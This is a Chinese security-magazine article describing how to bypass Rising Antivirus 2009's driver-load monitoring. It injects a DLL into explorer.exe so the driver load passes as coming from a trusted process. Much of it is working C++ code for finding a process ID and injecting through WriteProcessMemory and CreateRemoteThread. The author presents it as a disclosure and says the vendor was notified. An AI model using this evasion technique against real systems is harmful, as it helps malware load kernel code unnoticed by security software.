简单绕过瑞星主防

简单绕过瑞星主防
各大杀软都想尽一切办法占了内核高地，目的是居高临下抵挡来自Ring3层的病毒攻击，而病毒不甘示弱，想尽一切办法要进入内核领空誓死与杀软站在同一起跑线上……于是，病毒与杀软的斗争在Ring3和Ring0的一墙之隔中展开杀戮!
当杀软在占得天时，地利，人和得以清闲之时，病毒则试图变化阵法，试图寻找杀软的防御漏洞，然后一举拿下，取得阶段性胜利!废话不多说，来直接看看瑞星的防御体系的漏洞吧！而这个漏洞，在笔者发稿之日仍然存在，可以说是一个小小的0Day!不过，为了计算机网络的安全，似乎当本文与黑防读者见面时瑞星早已经修复了该漏洞，一方面强调了技术本无罪，更多的还是要为社会造福，切莫非法利用；另一方面在于为还网络一片净土，笔者已经设法通知瑞星尽快修复此漏洞，以免更多的用户因此漏洞受损！
在普通程序试图加载驱动时，瑞星拦截时似乎会检测当前进程的有效性，这而的有效性可以认为是不是符合安全规定，比如是不是系统的可信进程执行此操作，其实很显然的问题就是瑞星不可能将所有的应用程序的驱动加载都限制，毕竟要给操作系统核心进程让道，否则会出现意想不到的后果！其实，本文就是利用了瑞星在可信进程判断上的漏洞，成功的绕过了瑞星2009全功能对加载驱动的监控！
想想一下系统的核心进程，怎么才能够控制它们的行为来主动的加载我们的驱动呢？注入!至少我是这么做的,事实证明的确成功了！首先想到的就是注入到类似于csrss.exe,winlogon.exe,svchost.exe...等系统进程内，似乎瑞星早已防范到这点，至少我简单的利用WriteProcessMemory+CreateRemoteThread的方式是不能够注入的，很显然是瑞星对这些进程进行了保护！简单的看了看瑞星对其他可注入函数的Hook，初步断定基本没戏！想想，瑞星在抵御来自Ring3的攻击着实花了不少心思，岂能让你胡来？那就换换例如taskmgr.exe,explorer.exe这样的进程吧！似乎可以注入，呵呵，那就选这个explorer.exe进程吧，原因不必说了吧！它应该会始终运行吧,这儿注入的几率不就更大了吗?
看看一下具体的代码:
ULONG GetPidByProcessName(char *m_process_name)//传入进程名，得到对应的PID!
{
ULONG m_process_id=0;
HANDLE hProcessSnap = NULL;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == (HANDLE)-1)
{
OutputDebugString("CreateToolhelp32Snapshot函数调用失败！");
return 0;
}
PROCESSENTRY32 pe32={0};
pe32.dwSize=sizeof(PROCESSENTRY32);
do
{
if(_stricmp(m_process_name,pe32.szExeFile)==0)//如果找到，返回结果~
{
m_process_id=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32)); //枚举进程~,找到我们想要的PID
CloseHandle(hProcessSnap);
return m_process_id;
}
得到了进程的PID,开始进程的注入：
bool CProInject::ProcessInject (DWORD m_id,char* m_path)//将路径为m_path的DLL注入到PID为m_id的进程中；
{
bool fOk=false;
if(m_id==0)//如果m_id==0,则注入到自己的进程空间中；
{
m_id=::GetCurrentProcessId ();
}
__try
{
this->m_handle=::OpenProcess (PROCESS_ALL_ACCESS,false,m_id);
if(this->m_handle==NULL)
{
__leave;
}
//如果打开进程成功，则在该进程中开辟内存空间；
this->m_baseaddress=VirtualAllocEx(m_handle,NULL,1024,MEM_COMMIT,PAGE_EXE CUTE_READWRITE);
if(this->m_baseaddress==NULL)
{
__leave;
}
bool m_result=::WriteProcessMemory (
this->m_handle,
this->m_baseaddress,
(LPVOID)m_path,
strlen(m_path),
NULL);
if(m_result==NULL)
{
__leave;
}
LPTHREAD_START_ROUTINE
lpStartAddress=(LPTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(TEXT("Kernel32")),
"LoadLibraryA"
);
this->m_thread=::CreateRemoteThread (
this->m_handle,
NULL,
0,
lpStartAddress,
this->m_baseaddress,
0,
NULL
);
if(this->m_thread==NULL)
{
__leave;
}
//OutputDebugString("进程注入成功！");
fOk=true;
}
__finally
{
if(this->m_thread)
{
::CloseHandle (this->m_thread );
}
if(this->m_handle)
{
::CloseHandle (this->m_handle);
}
if(this->m_baseaddress)
{
this->m_baseaddress=NULL;
}
return fOk;
}
}
这些进程注入的代码在Windows 核心编程中有详细的介绍，这儿就直接看代码吧！利用的就是最普通的WriteProcessMemory +CreateRemoteThread 函数！
接下来就是我们的DLL，这儿就不贴出代码了，其实很简单，就是在DllMain中实现对指定驱动的加载！这儿，当我们的程序进行进程注入开始加载驱动时，瑞星监控到的加载信息就是explorer.exe进程，而一旦瑞星把它设为了可信进程，那么我们的驱动就轻松的进入了Ring0，达到了我们的目的，并且是没有任何的警报！
接下来就是要我们的驱动大显身手了，其实也没必要做更多的东西，比如恢复被Hook的SSDT,结束瑞星进程等等…………其实最简单的一句DbgPrint就能过说明一切问题~呵呵！在我们的驱动程序中就一句普通的输出语句：
VOID TextSys()
{
DbgPrint("如果执行到了这里，是不是已经进入了内核了呢?\n");
}
看看执行结果：
而截至到发稿之日，瑞星仍然是可以绕过的！而卡巴在对执行文件扫描时定位到了我们的主文件时提示说病毒出现,究其原因原来是卡巴在特征码定位时定位到了WriteProcessMemory 和CreateRemoteThread这两个函数！其实也不能说明什么，只能说明卡巴对进程的特征码检测更敏感！这儿只是个人之见，不过接下来卡巴似乎让我无话可说，当加载驱动时，卡巴拦截了explorer.exe进程驱动程序的加载，算是比较成功的！好了，写此文仅供交流，非法用途笔者概不负责！黑防ID:小华子！。